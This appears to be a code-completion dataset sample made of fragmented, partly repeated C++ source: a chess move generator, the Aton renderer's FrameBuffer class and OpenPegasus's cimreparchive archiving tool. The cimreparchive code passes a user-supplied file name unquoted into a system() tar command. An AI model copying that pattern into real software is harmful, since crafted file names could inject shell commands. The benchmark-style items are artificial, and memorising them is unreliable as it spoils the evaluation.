9, to, piece_on(pos, to)); movelist[num_moves + 3].promo = Piece::Knight; num_moves += 4; } else { movelist[num_moves] = Move(Move::Type::Capture, Piece::Pawn, to - 9, to, piece_on(pos, to)); num_moves++; } } for (const auto to : pawns.nw() & pos.colour[1]) { if (to >= 56) { movelist[num_moves + 0] = Move(Move::Type::Promocapture, Piece::Pawn, to - 7, to, piece_on(pos, to)); movelist[num_moves + 0].promo = Piece::Queen; movelist[num_moves + 1] = Move(Move::Type::Promocapture, Piece::Pawn, to - 7, to, piece_on(pos, to)); movelist[num_moves + 1].promo = Piece::Rook; movelist[num_moves + 2] = Move(Move::Type::Promocapture, Piece::Pawn, to - 7, to, piece_on(pos, to)); movelist[num_moves + 2].promo = Piece::Bishop; movelist[num_moves + 3] = Move(Move::Type::Promocapture, Piece::Pawn, to - 7, to, piece_on(pos, to)); movelist[num_moves + 3].promo = Piece::Knight; num_moves += 4; } else { movelist[num_moves] = Move(Move::Type::Capture, Piece::Pawn, to - 7, to, piece_on(pos, to)); num_moves++; } } if (pos.ep != -1) { const auto bb = Bitboard(40 + pos.ep); if (bb & pawns.ne()) { movelist[num_moves] = Move(Move::Type::Enpassant, Piece::Pawn, 40 + pos.ep - 9, 40 + pos.ep); num_moves++; } if (bb & pawns.nw()) { movelist[num_moves] = Move(Move::Type::Enpassant, Piece::Pawn, 40 + pos.ep - 7, 40 + pos.ep); num_moves++; } } num_moves += generate_piece_moves(&movelist[num_moves], pos, Piece::Knight, raycast::knight); num_moves += generate_piece_moves(&movelist[num_moves], pos, Piece::Bishop, raycast::bishop); num_moves += generate_piece_moves(&movelist[num_moves], pos, Piece::Queen, raycast::bishop); num_moves += generate_piece_moves(&movelist[num_moves], pos, Piece::Rook, raycast::rook); num_moves += generate_piece_moves(&movelist[num_moves], pos, Piece::Queen, raycast::rook); num_moves += generate_piece_moves(&movelist[num_moves], pos, Piece::King, raycast::king); const auto all = pos.colour[0] | pos.colour[1]; if (pos.castling[0] && !(all & Bitboard(0x60ULL)) && !attacked(pos, 4, true) && !attacked(pos, 5, true) && !attacked(pos, 6, true)) { movelist[num_moves] = Move(Move::Type::Ksc, Piece::King, 4, 6); num_moves++; } if (pos.castling[1] && !(all & Bitboard(0xEULL)) && !attacked(pos, 4, true) && !attacked(pos, 3, true) && !attacked(pos, 2, true)) { movelist[num_moves] = Move(Move::Type::Qsc, Piece::King, 4, 2); num_moves++; } return num_moves; } }
#include "movegen.hpp" #include "attack.hpp" #include "move.hpp" #include "piece.hpp" #include "position.hpp" #include "raycast.hpp" namespace chess { [[nodiscard]] int generate_piece_moves(Move *movelist, const Position &pos, const Piece piece, Bitboard (*func)(int, Bitboard)) { int num_moves = 0; for (const auto &fr : pos.colour[0] & pos.pieces[static_cast<int>(piece)]) { auto moves = func(fr, pos.colour[0] | pos.colour[1]); moves &= ~pos.colour[0]; for (const auto to : moves) { const auto captured = piece_on(pos, to); if (captured != Piece::None) { movelist[num_moves] = Move(Move::Type::Capture, piece, fr, to, captured); } else { movelist[num_moves] = Move(Move::Type::Quiet, piece, fr, to); } num_moves++; } } return num_moves; }
}
int movegen(const Position &pos, Move *movelist) { int num_moves = 0; const auto empty = ~(pos.colour[0] | pos.colour[1]); const auto pawns = pos.colour[0] & pos.pieces[static_cast<int>(Piece::Pawn)]; for (const auto &to : pawns.north() & empty) { if (to >= 56) { movelist[num_moves + 0] = Move(Move::Type::Promo, Piece::Pawn, to - 8, to); movelist[num_moves + 0].promo = Piece::Queen; movelist[num_moves + 1] = Move(Move::Type::Promo, Piece::Pawn, to - 8, to); movelist[num_moves + 1].promo = Piece::Rook; movelist[num_moves + 2] = Move(Move::Type::Promo, Piece::Pawn, to - 8, to); movelist[num_moves + 2].promo = Piece::Bishop; movelist[num_moves + 3] = Move(Move::Type::Promo, Piece::Pawn, to - 8, to); movelist[num_moves + 3].promo = Piece::Knight; num_moves += 4; } else { movelist[num_moves] = Move(Move::Type::Quiet, Piece::Pawn, to - 8, to); num_moves++; } } for (const auto &fr : (empty.south() & empty).south() & pawns & Bitboard(0xFF00ULL)) { movelist[num_moves] = Move(Move::Type::Double, Piece::Pawn, fr, fr + 16); num_moves++; } for (const auto &to : pawns.ne() & pos.colour[1]) { if (to >= 56) { movelist[num_moves + 0] = Move(Move::Type::Promocapture, Piece::Pawn, to - 9, to, piece_on(pos, to)); movelist[num_moves + 0].promo = Piece::Queen; movelist[num_moves + 1] = Move(Move::Type::Promocapture, Piece::Pawn, to - 9, to, piece_on(pos, to)); movelist[num_moves + 1].promo = Piece::Rook; movelist[num_moves + 2] = Move(Move::Type::Promocapture, Piece::Pawn, to - 9, to, piece_on(pos, to)); movelist[num_moves + 2].promo = Piece::Bishop; movelist[num_moves + 3] = Move(Move::Type::Promocapture, Piece::Pawn, to - 9, to, piece_on(pos, to)); movelist[num_moves + 3].promo = Piece::Knight; num_moves += 4; } else { movelist[num_moves] = Move(Move::Type::Capture, Piece::Pawn, to - 9, to, piece_on(pos, to)); num_moves++; } } for (const auto to : pawns.nw() & pos.colour[1]) { if (to >= 56) { movelist[num_moves + 0] = Move(Move::Type::Promocapture, Piece::Pawn, to - 7, to, piece_on(pos, to)); movelist[num_moves + 0].promo = Piece::Queen; movelist[num_moves + 1] = Move(Move::Type::Promocapture, Piece::Pawn, to - 7, to, piece_on(pos, to)); movelist[num_moves + 1].promo = Piece::Rook; movelist[num_moves + 2] = Move(Move::Type::Promocapture, Piece::Pawn, to - 7, to, piece_on(pos, to)); movelist[num_moves + 2].promo = Piece::Bishop; movelist[num_moves + 3] = Move(Move::Type::Promocapture, Piece::Pawn, to - 7, to, piece_on(pos, to)); movelist[num_moves + 3].promo = Piece::Knight; num_moves += 4; } else { movelist[num_moves] = Move(Move::Type::Capture, Piece::Pawn, to - 7, to, piece_on(pos, to)); num_moves++; } } if (pos.ep != -1) { const auto bb = Bitboard(40 + pos.ep); if (bb & pawns.ne()) { movelist[num_moves] = Move(Move::Type::Enpassant, Piece::Pawn, 40 + pos.ep - 9, 40 + pos.ep); num_moves++; } if (bb & pawns.nw()) { movelist[num_moves] = Move(Move::Type::Enpassant, Piece::Pawn, 40 + pos.ep - 7, 40 + pos.ep); num_moves++; } } num_moves += generate_piece_moves(&movelist[num_moves], pos, Piece::Knight, raycast::knight); num_moves += generate_piece_moves(&movelist[num_moves], pos, Piece::Bishop, raycast::bishop); num_moves += generate_piece_moves(&movelist[num_moves], pos, Piece::Queen, raycast::bishop); num_moves += generate_piece_moves(&movelist[num_moves], pos, Piece::Rook, raycast::rook); num_moves += generate_piece_moves(&movelist[num_moves], pos, Piece::Queen, raycast::rook); num_moves += generate_piece_moves(&movelist[num_moves], pos, Piece::King, raycast::king); const auto all = pos.colour[0] | pos.colour[1]; if (pos.castling[0] && !(all & Bitboard(0x60ULL)) && !attacked(pos, 4, true) && !attacked(pos, 5, true) && !attacked(pos, 6, true)) { movelist[num_moves] = Move(Move::Type::Ksc, Piece::King, 4, 6); num_moves++; } if (pos.castling[1] && !(all & Bitboard(0xEULL)) && !attacked(pos, 4, true) && !attacked(pos, 3, true) && !attacked(pos, 2, true)) { movelist[num_moves] = Move(Move::Type::Qsc, Piece::King, 4, 2); num_moves++; } return num_moves; }
function_block-full_function
[ { "content": "class Bitboard {\n\n public:\n\n constexpr Bitboard() : m_mask{} {\n\n }\n\n\n\n constexpr Bitboard(const int sq) : m_mask{1ULL << sq} {\n\n }\n\n\n\n constexpr Bitboard(const long long unsigned int mask) : m_mask{mask} {\n\n }\n\n\n\n constexpr Bitboard(const std::uint64_t ...
C++
src/FrameBuffer.cpp
danbradham/Aton
025ebbe0b6c2e5bc0723df503980773ab42e5ce6
#include "FrameBuffer.h" #include "boost/format.hpp" using namespace aton; const std::string chStr::RGBA = "RGBA", chStr::rgb = "rgb", chStr::depth = "depth", chStr::Z = "Z", chStr::N = "N", chStr::P = "P", chStr::_red = ".red", chStr::_green = ".green", chStr::_blue = ".blue", chStr::_X = ".X", chStr::_Y = ".Y", chStr::_Z = ".Z"; RenderColor::RenderColor() { _val[0] = _val[1] = _val[2] = 0.0f; } float& RenderColor::operator[](int i) { return _val[i]; } const float& RenderColor::operator[](int i) const { return _val[i]; } void RenderColor::reset() { _val[0] = _val[1] = _val[2] = 0.0f; } RenderBuffer::RenderBuffer(const unsigned int& width, const unsigned int& height, const int& spp) { int size = width * height; switch (spp) { case 1: _float_data.resize(size); break; case 3: _color_data.resize(size); break; case 4: _color_data.resize(size); _float_data.resize(size); break; } } FrameBuffer::FrameBuffer(const double& currentFrame, const int& w, const int& h): _frame(currentFrame), _width(w), _height(h), _progress(0), _time(0), _ram(0), _pram(0), _ready(false) {} void FrameBuffer::addBuffer(const char* aov, const int& spp) { RenderBuffer buffer(_width, _height, spp); _buffers.push_back(buffer); _aovs.push_back(aov); } void FrameBuffer::setBufferPix(const int& b, const unsigned int& x, const unsigned int& y, const int& spp, const int& c, const float& pix) { RenderBuffer& rb = _buffers[b]; unsigned int index = (_width * y) + x; if (c < 3 && spp != 1) rb._color_data[index][c] = pix; else rb._float_data[index] = pix; } const float& FrameBuffer::getBufferPix(const int& b, const unsigned int& x, const unsigned int& y, const int& c) const { const RenderBuffer& rb = _buffers[b]; unsigned int index = (_width * y) + x; if (c < 3 && !rb._color_data.empty()) return rb._color_data[index][c]; else return rb._float_data[index]; } int FrameBuffer::getBufferIndex(const Channel& z) { int b_index = 0; if (_aovs.size() > 1) { using namespace chStr; std::string layer = getLayerName(z); std::vector<std::string>::iterator it; for(it = _aovs.begin(); it != _aovs.end(); ++it) { if (*it == layer) { b_index = static_cast<int>(it - _aovs.begin()); break; } else if (*it == Z && layer == depth) { b_index = static_cast<int>(it - _aovs.begin()); break; } } } return b_index; } int FrameBuffer::getBufferIndex(const char* aovName) { int b_index = 0; if (_aovs.size() > 1) { std::vector<std::string>::iterator it; for(it = _aovs.begin(); it != _aovs.end(); ++it) { if (*it == aovName) { b_index = static_cast<int>(it - _aovs.begin()); break; } } } return b_index; } const char* FrameBuffer::getBufferName(const int& index) { const char* aovName = ""; if(!_aovs.empty()) { try { aovName = _aovs.at(index).c_str(); } catch (const std::out_of_range& e) { (void)e; } catch (...) { std::cerr << "Unexpected error at getting buffer name" << std::endl; } } return aovName; } bool FrameBuffer::isFirstBufferName(const char* aovName) { return strcmp(_aovs.front().c_str(), aovName) == 0;; } bool FrameBuffer::isFrameChanged(const double& frame) { return frame != _frame; } bool FrameBuffer::isAovsChanged(const std::vector<std::string>& aovs) { return (aovs != _aovs); } bool FrameBuffer::isResolutionChanged(const unsigned int& w, const unsigned int& h) { return (w != _width && h != _height); } void FrameBuffer::setResolution(const unsigned int& w, const unsigned int& h) { _width = w; _height = h; int bfSize = _width * _height; std::vector<RenderBuffer>::iterator iRB; for(iRB = _buffers.begin(); iRB != _buffers.end(); ++iRB) { if (!iRB->_color_data.empty()) { RenderColor color; std::fill(iRB->_color_data.begin(), iRB->_color_data.end(), color); iRB->_color_data.resize(bfSize); } if (!iRB->_float_data.empty()) { std::fill(iRB->_float_data.begin(), iRB->_float_data.end(), 0.0f); iRB->_float_data.resize(bfSize); } } } void FrameBuffer::clearAll() { _buffers = std::vector<RenderBuffer>(); _aovs = std::vector<std::string>(); } bool FrameBuffer::isBufferExist(const char* aovName) { return std::find(_aovs.begin(), _aovs.end(), aovName) != _aovs.end(); } const int& FrameBuffer::getWidth() { return _width; } const int& FrameBuffer::getHeight() { return _height; } size_t FrameBuffer::size() { return _aovs.size(); } void FrameBuffer::resize(const size_t& s) { _buffers.resize(s); _aovs.resize(s); } void FrameBuffer::setProgress(const long long& progress) { _progress = progress > 100 ? 100 : progress; } void FrameBuffer::setRAM(const long long& ram) { int ramGb = static_cast<int>(ram / 1048576); _ram = ramGb; _pram = ramGb > _pram ? ramGb : _pram; } void FrameBuffer::setTime(const int& time, const int& dtime) { _time = dtime > time ? time : time - dtime; } const long long& FrameBuffer::getProgress() { return _progress; } const long long& FrameBuffer::getRAM() { return _ram; } const long long& FrameBuffer::getPRAM() { return _pram; } const int& FrameBuffer::getTime() { return _time; } void FrameBuffer::setArnoldVersion(const int& version) { int archV = (version % 10000000) / 1000000; int majorV = (version % 1000000) / 10000; int minorV = (version % 10000) / 100; int fixV = version % 100; std::stringstream stream; stream << archV << "." << majorV << "." << minorV << "." << fixV; _version = stream.str(); } const char* FrameBuffer::getArnoldVersion() { return _version.c_str(); } void FrameBuffer::setFrame(const double& frame) { _frame = frame; } const double& FrameBuffer::getFrame() { return _frame; } bool FrameBuffer::empty() { return (_buffers.empty() && _aovs.empty()) ; } void FrameBuffer::ready(const bool& ready) { _ready = ready; } const bool& FrameBuffer::isReady() { return _ready; }
#include "FrameBuffer.h" #include "boost/format.hpp" using namespace aton; const std::string chStr::RGBA = "RGBA", chStr::rgb = "rgb", chStr::depth = "depth", chStr::Z = "Z", chStr::N = "N", chStr::P = "P", chStr::_red = ".red", chStr::_green = ".green", chStr::_blue = ".blue", chStr::_X = ".X", chStr::_Y = ".Y", chStr::_Z = ".Z"; RenderColor::RenderColor() { _val[0] = _val[1] = _val[2] = 0.0f; } float& RenderColor::operator[](int i) { return _val[i]; } const float& RenderColor::operator[](int i) const { return _val[i]; } void RenderColor::reset() { _val[0] = _val[1] = _val[2] = 0.0f; } RenderBuffer::RenderBuffer(const unsigned int& width, const unsigned int& height, const int& spp) { int size = width * height; switch (spp) { case 1: _float_data.resize(size); break; case 3: _color_data.resize(
const int& spp, const int& c, const float& pix) { RenderBuffer& rb = _buffers[b]; unsigned int index = (_width * y) + x; if (c < 3 && spp != 1) rb._color_data[index][c] = pix; else rb._float_data[index] = pix; } const float& FrameBuffer::getBufferPix(const int& b, const unsigned int& x, const unsigned int& y, const int& c) const { const RenderBuffer& rb = _buffers[b]; unsigned int index = (_width * y) + x; if (c < 3 && !rb._color_data.empty()) return rb._color_data[index][c]; else return rb._float_data[index]; } int FrameBuffer::getBufferIndex(const Channel& z) { int b_index = 0; if (_aovs.size() > 1) { using namespace chStr; std::string layer = getLayerName(z); std::vector<std::string>::iterator it; for(it = _aovs.begin(); it != _aovs.end(); ++it) { if (*it == layer) { b_index = static_cast<int>(it - _aovs.begin()); break; } else if (*it == Z && layer == depth) { b_index = static_cast<int>(it - _aovs.begin()); break; } } } return b_index; } int FrameBuffer::getBufferIndex(const char* aovName) { int b_index = 0; if (_aovs.size() > 1) { std::vector<std::string>::iterator it; for(it = _aovs.begin(); it != _aovs.end(); ++it) { if (*it == aovName) { b_index = static_cast<int>(it - _aovs.begin()); break; } } } return b_index; } const char* FrameBuffer::getBufferName(const int& index) { const char* aovName = ""; if(!_aovs.empty()) { try { aovName = _aovs.at(index).c_str(); } catch (const std::out_of_range& e) { (void)e; } catch (...) { std::cerr << "Unexpected error at getting buffer name" << std::endl; } } return aovName; } bool FrameBuffer::isFirstBufferName(const char* aovName) { return strcmp(_aovs.front().c_str(), aovName) == 0;; } bool FrameBuffer::isFrameChanged(const double& frame) { return frame != _frame; } bool FrameBuffer::isAovsChanged(const std::vector<std::string>& aovs) { return (aovs != _aovs); } bool FrameBuffer::isResolutionChanged(const unsigned int& w, const unsigned int& h) { return (w != _width && h != _height); } void FrameBuffer::setResolution(const unsigned int& w, const unsigned int& h) { _width = w; _height = h; int bfSize = _width * _height; std::vector<RenderBuffer>::iterator iRB; for(iRB = _buffers.begin(); iRB != _buffers.end(); ++iRB) { if (!iRB->_color_data.empty()) { RenderColor color; std::fill(iRB->_color_data.begin(), iRB->_color_data.end(), color); iRB->_color_data.resize(bfSize); } if (!iRB->_float_data.empty()) { std::fill(iRB->_float_data.begin(), iRB->_float_data.end(), 0.0f); iRB->_float_data.resize(bfSize); } } } void FrameBuffer::clearAll() { _buffers = std::vector<RenderBuffer>(); _aovs = std::vector<std::string>(); } bool FrameBuffer::isBufferExist(const char* aovName) { return std::find(_aovs.begin(), _aovs.end(), aovName) != _aovs.end(); } const int& FrameBuffer::getWidth() { return _width; } const int& FrameBuffer::getHeight() { return _height; } size_t FrameBuffer::size() { return _aovs.size(); } void FrameBuffer::resize(const size_t& s) { _buffers.resize(s); _aovs.resize(s); } void FrameBuffer::setProgress(const long long& progress) { _progress = progress > 100 ? 100 : progress; } void FrameBuffer::setRAM(const long long& ram) { int ramGb = static_cast<int>(ram / 1048576); _ram = ramGb; _pram = ramGb > _pram ? ramGb : _pram; } void FrameBuffer::setTime(const int& time, const int& dtime) { _time = dtime > time ? time : time - dtime; } const long long& FrameBuffer::getProgress() { return _progress; } const long long& FrameBuffer::getRAM() { return _ram; } const long long& FrameBuffer::getPRAM() { return _pram; } const int& FrameBuffer::getTime() { return _time; } void FrameBuffer::setArnoldVersion(const int& version) { int archV = (version % 10000000) / 1000000; int majorV = (version % 1000000) / 10000; int minorV = (version % 10000) / 100; int fixV = version % 100; std::stringstream stream; stream << archV << "." << majorV << "." << minorV << "." << fixV; _version = stream.str(); } const char* FrameBuffer::getArnoldVersion() { return _version.c_str(); } void FrameBuffer::setFrame(const double& frame) { _frame = frame; } const double& FrameBuffer::getFrame() { return _frame; } bool FrameBuffer::empty() { return (_buffers.empty() && _aovs.empty()) ; } void FrameBuffer::ready(const bool& ready) { _ready = ready; } const bool& FrameBuffer::isReady() { return _ready; }
size); break; case 4: _color_data.resize(size); _float_data.resize(size); break; } } FrameBuffer::FrameBuffer(const double& currentFrame, const int& w, const int& h): _frame(currentFrame), _width(w), _height(h), _progress(0), _time(0), _ram(0), _pram(0), _ready(false) {} void FrameBuffer::addBuffer(const char* aov, const int& spp) { RenderBuffer buffer(_width, _height, spp); _buffers.push_back(buffer); _aovs.push_back(aov); } void FrameBuffer::setBufferPix(const int& b, const unsigned int& x, const unsigned int& y,
random
[ { "content": "class Aton(QtWidgets.QDialog):\n\n\n\n def __init__(self, parent = maya_main_window()):\n\n super(Aton, self).__init__(parent)\n\n\n\n self.windowName = \"Aton\"\n\n if cmds.window(self.windowName, exists = True):\n\n cmds.deleteUI(self.windowName, wnd = True)\n\...
C++
src/Clients/cimreparchive/CIMRepositoryArchiveCommand.cpp
natronkeltner/openpegasus
e64f383c1ed37826041fc63e83b4e65fc1c679ae
#include <Pegasus/Common/Config.h> #include <Pegasus/Common/Constants.h> #include <Pegasus/Common/Exception.h> #include <Pegasus/Common/FileSystem.h> #include <Pegasus/Common/System.h> #include <Pegasus/Common/AutoPtr.h> #include <Pegasus/Common/PegasusVersion.h> #include <Clients/cliutils/Command.h> #include <Clients/cliutils/CommandException.h> #include <Pegasus/getoopt/getoopt.h> #ifdef PEGASUS_OS_ZOS #include <Pegasus/General/SetFileDescriptorToEBCDICEncoding.h> #endif #include <iostream> #ifdef PEGASUS_OS_TYPE_UNIX # include <fcntl.h> # include <errno.h> # include <sys/types.h> # include <sys/wait.h> #endif PEGASUS_USING_STD; PEGASUS_NAMESPACE_BEGIN static const char MSG_PATH[] = "pegasus/pegasusCLI"; static const char COMMAND_NAME[] = "cimreparchive"; static const char USAGE[] = "Usage: "; static const Uint32 OPERATION_TYPE_UNINITIALIZED = 0; static const Uint32 OPERATION_TYPE_ARCHIVE = 1; static const Uint32 OPERATION_TYPE_HELP = 2; static const Uint32 OPERATION_TYPE_VERSION = 3; static const Uint32 EXIT_STATUS_SUCCESS = 0; static const Uint32 EXIT_STATUS_GENERAL_ERROR = 1; static const Uint32 EXIT_STATUS_SYSTEM_CALL_FAILED = 2; static const Uint32 EXIT_STATUS_ARCHIVE_FAILED = 3; static const char LONG_HELP[] = "help"; static const char LONG_VERSION[] = "version"; class CIMRepositoryArchiveCommand : public Command { public: CIMRepositoryArchiveCommand(); void setCommand(Uint32 argc, char* argv[]); Uint32 execute( ostream& outPrintWriter, ostream& errPrintWriter); private: String _archiveFileName; Uint32 _operationType; String _usage; }; CIMRepositoryArchiveCommand::CIMRepositoryArchiveCommand() { _usage.reserveCapacity(250); _usage.append(USAGE); _usage.append(COMMAND_NAME); _usage.append(" archive_file\n"); _usage.append(" cimreparchive --").append(LONG_HELP).append("\n"); _usage.append(" cimreparchive --").append(LONG_VERSION).append("\n"); _usage.append("Options:\n"); _usage.append(" --help - Display this help message\n"); _usage.append(" --version - Display CIM Server version number\n"); #ifdef PEGASUS_HAS_ICU MessageLoaderParms menuparms( "Clients.cimreparchive.CIMRepositoryArchiveCommand.MENU.STANDARD", _usage); menuparms.msg_src_path = MSG_PATH; _usage = MessageLoader::getMessage(menuparms); #endif setUsage(_usage); } void CIMRepositoryArchiveCommand::setCommand( Uint32 argc, char* argv[]) { getoopt options(""); options.addFlagspec(""); options.addLongFlagspec(LONG_HELP,getoopt::NOARG); options.addLongFlagspec(LONG_VERSION,getoopt::NOARG); options.parse(argc, argv); if (options.hasErrors()) { throw CommandFormatException(options.getErrorStrings()[0]); } _operationType = OPERATION_TYPE_UNINITIALIZED; for (Uint32 i = options.first(); i < options.last(); i++) { if (options[i].getType() == Optarg::LONGFLAG) { if (options[i].getopt() == LONG_HELP) { if (_operationType != OPERATION_TYPE_UNINITIALIZED) { String param = String(options[i].getopt()); throw UnexpectedOptionException(param); } _operationType = OPERATION_TYPE_HELP; } else if (options[i].getopt() == LONG_VERSION) { if (_operationType != OPERATION_TYPE_UNINITIALIZED) { String param = String(options[i].getopt()); throw UnexpectedOptionException(param); } _operationType = OPERATION_TYPE_VERSION; } else { throw UnexpectedOptionException(String(options[i].getopt())); } } else if (options[i].getType() == Optarg::REGULAR) { if (_operationType != OPERATION_TYPE_UNINITIALIZED) { throw UnexpectedArgumentException(options[i].Value()); } _archiveFileName = options[i].Value(); _operationType = OPERATION_TYPE_ARCHIVE; } PEGASUS_ASSERT(options[i].getType() != Optarg::FLAG); } if (_operationType == OPERATION_TYPE_UNINITIALIZED) { throw CommandFormatException(localizeMessage( MSG_PATH, "Clients.cimreparchive.CIMRepositoryArchiveCommand." "REQUIRED_ARGS_MISSING", "Required arguments missing.")); } } Uint32 CIMRepositoryArchiveCommand::execute( ostream& outPrintWriter, ostream& errPrintWriter) { if (_operationType == OPERATION_TYPE_HELP) { errPrintWriter << _usage << endl; return EXIT_STATUS_SUCCESS; } if (_operationType == OPERATION_TYPE_VERSION) { errPrintWriter << "Version " << PEGASUS_PRODUCT_VERSION << endl; return EXIT_STATUS_SUCCESS; } PEGASUS_ASSERT(_operationType == OPERATION_TYPE_ARCHIVE); const char* env = getenv("PEGASUS_HOME"); String repositoryDir = FileSystem::getAbsolutePath( env, PEGASUS_REPOSITORY_DIR); String lockFile = FileSystem::getAbsolutePath( env, PEGASUS_REPOSITORY_LOCK_FILE); String repositoryDirPath = FileSystem::extractFilePath(repositoryDir); String repositoryDirName = FileSystem::extractFileName(repositoryDir); AutoFileLock repositoryLock(lockFile.getCString()); #if defined(PEGASUS_OS_HPUX) || defined(PEGASUS_OS_AIX) || \ defined(PEGASUS_OS_PASE) const char TAR_COMMAND[] = "/usr/bin/tar"; #elif defined(PEGASUS_OS_LINUX) const char TAR_COMMAND[] = "/bin/tar"; #elif defined(PEGASUS_OS_ZOS) const char TAR_COMMAND[] = "/bin/pax"; #else const char TAR_COMMAND[] = "tar"; #endif #if defined(PEGASUS_OS_ZOS) String sysCommand = String(TAR_COMMAND) + " -o saveext -ppx -wzf " + _archiveFileName + " " + repositoryDir; #else String sysCommand = String(TAR_COMMAND) + " cf " + _archiveFileName + " -C " + repositoryDirPath + " " + repositoryDirName; #endif #if defined(PEGASUS_OS_TYPE_UNIX) int rc = system(sysCommand.getCString()); if (rc == -1) { MessageLoaderParms errorMessage( "Clients.cimreparchive.CIMRepositoryArchiveCommand.SYSCALL_FAILED", "Failed to initiate archive operation: $0", strerror(errno)); errPrintWriter << MessageLoader::getMessage(errorMessage) << endl; return EXIT_STATUS_SYSTEM_CALL_FAILED; } else if (WIFEXITED(rc) && (WEXITSTATUS(rc) != 0)) { MessageLoaderParms errorMessage( "Clients.cimreparchive.CIMRepositoryArchiveCommand.ARCHIVE_FAILED", "Archive operation failed with status $0. Removing file \"$1\".", WEXITSTATUS(rc), _archiveFileName); errPrintWriter << MessageLoader::getMessage(errorMessage) << endl; FileSystem::removeFile(_archiveFileName); return EXIT_STATUS_ARCHIVE_FAILED; } MessageLoaderParms errorMessage( "Clients.cimreparchive.CIMRepositoryArchiveCommand.ARCHIVE_CREATED", "File \"$0\" now contains an archive of directory \"$1\".", _archiveFileName, repositoryDir); outPrintWriter << MessageLoader::getMessage(errorMessage) << endl; return EXIT_STATUS_SUCCESS; #else errPrintWriter << "Archive operation is not available." << endl; return EXIT_STATUS_ARCHIVE_FAILED; #endif } PEGASUS_NAMESPACE_END PEGASUS_USING_PEGASUS; int main (int argc, char* argv[]) { AutoPtr<CIMRepositoryArchiveCommand> command; Uint32 retCode; #ifdef PEGASUS_OS_ZOS setEBCDICEncoding(STDOUT_FILENO); setEBCDICEncoding(STDERR_FILENO); #endif MessageLoader::_useProcessLocale = true; MessageLoader::setPegasusMsgHomeRelative(argv[0]); command.reset(new CIMRepositoryArchiveCommand()); try { command->setCommand(argc, argv); } catch (CommandFormatException& cfe) { cerr << COMMAND_NAME << ": " << cfe.getMessage() << endl; MessageLoaderParms parms( "Clients.cimreparchive.CIMRepositoryArchiveCommand.ERR_USAGE", "Use '--help' to obtain command syntax."); parms.msg_src_path = MSG_PATH; cerr << COMMAND_NAME << ": " << MessageLoader::getMessage(parms) << endl; return EXIT_STATUS_GENERAL_ERROR; } retCode = command->execute(cout, cerr); return retCode; }
#include <Pegasus/Common/Config.h> #include <Pegasus/Common/Constants.h> #include <Pegasus/Common/Exception.h> #include <Pegasus/Common/FileSystem.h> #include <Pegasus/Common/System.h> #include <Pegasus/Common/AutoPtr.h> #include <Pegasus/Common/PegasusVersion.h> #include <Clients/cliutils/Command.h> #include <Clients/cliutils/CommandException.h> #include <Pegasus/getoopt/getoopt.h> #ifdef PEGASUS_OS_ZOS #include <Pegasus/General/SetFileDescriptorToEBCDICEncoding.h> #endif #include <iostream> #ifdef PEGASUS_OS_TYPE_UNIX # include <fcntl.h> # include <errno.h> # include <sys/types.h> # include <sys/wait.h> #endif PEGASUS_USING_STD; PEGASUS_NAMESPACE_BEGIN static const char MSG_PATH[] = "pegasus/pegasusCLI"; static const char COMMAND_NAME[] = "cimreparchive"; static const char USAGE[] = "Usage: "; static const Uint32 OPERATION_TYPE_UNINITIALIZED = 0; static const Uint32 OPERATION_TYPE_ARCHIVE = 1; static const Uint32 OPERATION_TYPE_HELP = 2; static const Uint32 OPERATION_TYPE_VERSION = 3; static const Uint32 EXIT_STATUS_SUCCESS = 0; static const Uint32 EXIT_STATUS_GENERAL_ERROR = 1; static const Uint32 EXIT_STATUS_SYSTEM_CALL_FAILED = 2; static const Uint32 EXIT_STATUS_ARCHIVE_FAILED = 3; static const char LONG_HELP[] = "help"; static const char LONG_VERSION[] = "version"; class CIMRepositoryArchiveCommand : public Command { public: CIMRepositoryArchiveCommand(); void setCommand(Uint32 argc, char* argv[]); Uint32 execute( ostream& outPrintWriter, ostream& errPrintWriter); private: String _archiveFileName; Uint32 _operationType; String _usage; }; CIMRepositoryArchiveCommand::CIMRepositoryArchiveCommand() { _usage.reserveCapacity(250); _usage.append(USAGE); _usage.append(COMMAND_NAME); _usage.append(" archive_file\n"); _usage.append(" cimreparchive --").append(LONG_HELP).append("\n"); _usage.append(" cimreparchive --").append(LONG_VERSION).append("\n"); _usage.append("Options:\n"); _usage.append(" --help - Display this help message\n"); _usage.append(" --version - Display CIM Server version number\n"); #ifdef PEGASUS_HAS_ICU MessageLoaderParms menuparms( "Clients.cimreparchive.CIMRepositoryArchiveCommand.MENU.STANDARD", _usage); menuparms.msg_src_path = MSG_PATH; _usage = MessageLoader::getMessage(menuparms); #endif setUsage(_usage); } void CIMRepositoryArchiveCommand::setCommand( Uint32 argc, char* argv[]) { getoopt options(""); options.addFlagspec(""); options.addLongFlagspec(LONG_HELP,getoopt::NOARG); options.addLongFlagspec(LONG_VERSION,getoopt::NOARG); options.parse(argc, argv); if (options.hasErrors()) { throw CommandFormatException(options.getErrorStrings()[0]); } _operationType = OPERATION_TYPE_UNINITIALIZED; for (Uint32 i = options.first(); i < options.last(); i++) { if (options[i].getType() == Optarg::LONGFLAG) { if (options[i].getopt() == LONG_HELP) { if (_operationType != OPERATION_TYPE_UNINITIALIZED) { String param = String(options[i].getopt()); throw UnexpectedOptionException(param); } _operationType = OPERATION_TYPE_HELP; } else if (options[i].getopt() == LONG_VERSION) { if (_operationType != OPERATION_TYPE_UNINITIALIZED) { String param = String(options[i].getopt()); throw UnexpectedOptionException(param); } _operationType = OPERATION_TYPE_VERSION; } else { throw UnexpectedOptionException(String(options[i].getopt())); } } else if (options[i].getType() == Optarg::REGULAR) { if (_operationType != OPERATION_TYPE_UNINITIALIZED) { throw UnexpectedArgumentException(options[i].Value()); } _archiveFileName = options[i].Value(); _operationType = OPERATION_TYPE_ARCHIVE; } PEGASUS_ASSERT(options[i].getType() != Optarg::FLAG); } if (_operationType == OPERATION_TYPE_UNINITIALIZED) { throw CommandFormatException(localizeMessage( MSG_PATH, "Clients.cimreparchive.CIMRepositoryArchiveCommand." "REQUIRED_ARGS_MISSING", "Required arguments missing.")); } } Uint32 CIMRepositoryArchiveCommand::execute( ostream& outPrintWriter, ostream& errPrintWriter) { if (_operationType == OPERATION_TYPE_HELP) { errPrintWriter << _usage << endl; return EXIT_STATUS_SUCCESS; } if (_operationType == OPERATION_TYPE_VERSION) { errPrintWriter << "Version " << PEGASUS_PRODUCT_VERSION << endl; return EXIT_STATUS_SUCCESS; } PEGASUS_ASSERT(_operationType == OPERATION_TYPE_ARCHIVE); const char* env = getenv("PEGASUS_HOME"); String repositoryDir = FileSystem::getAbsolutePath( env, PEGASUS_REPOSITORY_DIR); String lockFile = 